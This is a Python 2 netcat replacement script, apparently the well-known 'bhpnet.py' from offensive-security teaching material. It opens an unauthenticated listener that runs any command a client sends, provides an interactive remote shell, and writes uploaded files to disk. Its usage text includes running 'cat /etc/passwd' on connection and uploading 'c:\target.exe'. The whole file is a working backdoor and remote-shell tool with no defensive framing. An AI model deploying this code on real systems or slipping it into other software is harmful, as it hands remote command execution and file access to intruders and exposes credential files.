PythonNC

#!/opt/local/bin/python2.7

import sys
import socket
import getopt
import threading
import subprocess

listen             = False
command            = False
upload             = False
execute            = ""
target             = ""
upload_destination = ""
port               = 0

def run_command(command):

        command = command.rstrip()

        try:
                output = subprocess.check_output(command,stderr=subprocess.STDOUT, shell=True)
        except:
                output = "Failed to execute command.\r\n"

        return output

def client_handler(client_socket):
        global upload
        global execute
        global command

        if len(upload_destination):

                file_buffer = ""

                while True:
                        data = client_socket.recv(1024)

                        if not data:
                                break
                        else:
                                file_buffer += data

                try:
                        file_descriptor = open(upload_destination,"wb")
                        file_descriptor.write(file_buffer)
                        file_descriptor.close()

                        client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
                except:
                        client_socket.send("Failed to save file to %s\r\n" % upload_destination)

        if len(execute):
                output = run_command(execute)

                client_socket.send(output)
        if command:

                while True:
                        client_socket.send("server>")

                        cmd_buffer = ""
                        while "\n" not in cmd_buffer:
                                cmd_buffer += client_socket.recv(1024)

                        response = run_command(cmd_buffer)

                        client_socket.send(response)
def server_loop():
        global target
        global port
        if not len(target):
                target = "0.0.0.0"

        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server.bind((target,port))

        server.listen(5)

        while True:
                client_socket, addr = server.accept()
                client_thread = threading.Thread(target=client_handler,args=(client_socket,))
                client_thread.start()

def client_sender(buffer):

        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        try:
                client.connect((target,port))

                if len(buffer):

                        client.send(buffer)

                while True:

                        recv_len = 1
                        response = ""

                        while recv_len:
                                data     = client.recv(4096)
                                recv_len = len(data)
                                response+= data

                                if recv_len < 4096:
                                        break

                        print response,

                        buffer = raw_input("")
                        buffer += "\n"

                        # send it off
                        client.send(buffer)


        except:
                print "[*] Exception! Exiting."

                client.close()




def usage():
        print "Netcat Replacement"
        print
        print "Usage: nc.py -t target_host -p port"
        print "-l --listen                - listen on [host]:[port] for incoming connections"
        print "-e --execute=file_to_run   - execute the given file upon receiving a connection"
        print "-c --command               - initialize a command shell"
        print "-u --upload=destination    - upon receiving connection upload a file and write to [destination]"
        print
        print
        print "Examples: "
        print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
        print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
        print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
        print "echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135"
        sys.exit(0)


def main():
        global listen
        global port
        global execute
        global command
        global upload_destination
        global target

        if not len(sys.argv[1:]):
                usage()

        try:
                opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])
        except getopt.GetoptError as err:
                print str(err)
                usage()


        for o,a in opts:
                if o in ("-h","--help"):
                        usage()
                elif o in ("-l","--listen"):
                        listen = True
                elif o in ("-e", "--execute"):
                        execute = a
                elif o in ("-c", "--commandshell"):
                        command = True
                elif o in ("-u", "--upload"):
                        upload_destination = a
                elif o in ("-t", "--target"):
                        target = a
                elif o in ("-p", "--port"):
                        port = int(a)
                else:
                        assert False,"Unhandled Option"

        if not listen and len(target) and port > 0:

                buffer = sys.stdin.read()

                client_sender(buffer)

        if listen:
                server_loop()

main()